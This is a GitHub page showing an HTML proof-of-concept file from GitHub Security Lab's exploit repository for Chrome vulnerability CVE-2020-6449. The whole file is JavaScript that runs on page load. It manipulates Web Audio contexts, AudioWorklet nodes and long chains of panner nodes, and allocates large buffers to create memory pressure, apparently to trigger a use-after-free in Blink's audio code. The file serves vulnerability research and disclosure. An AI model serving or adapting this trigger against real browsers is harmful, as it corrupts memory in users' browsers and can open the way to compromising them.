securitylab/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html at u-boot-codeql-database · github/securitylab · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html>
<html>
<head>
<script>
async function startStop() {
  let audioCtx = new OfflineAudioContext(1,3072,3072);
  await audioCtx.audioWorklet.addModule('test-processor2.js');
  let src = audioCtx.createConstantSource();
  src.start();
  src.stop();
  return audioCtx;
}

function resume(audioCtx) {
	audioCtx.suspend((3 * 128)/3072.0).then(()=>{
	  let dest = audioCtx.createOscillator();
	  dest.start();
	  for (let i = 1; i < 2000; i++) {
		dest = dest.connect(audioCtx.createPanner());
	  }
	  dest.connect(audioCtx.destination);
	  let testNode = new AudioWorkletNode(audioCtx, 'test-processor', {'numberOfOutputs' : 0});
	  let splitter = audioCtx.createChannelSplitter(2);
	  let src2 = audioCtx.createOscillator();
	  src2.connect(splitter);
	  splitter.connect(audioCtx.destination, 1);
	  splitter.connect(testNode, 0);
	  for (let i = 0; i < 100; i++) {
		new ArrayBuffer(1024 * 1024 * 60);
	  }
	  setTimeout(()=>{
		audioCtx.resume();
		parent.remove();
	  }, 100);
	});
    audioCtx.startRendering();
}

function onLoad() {
  startStop().then(resume);
}
</script>
</head>
<body onload="onLoad()"/>
</html>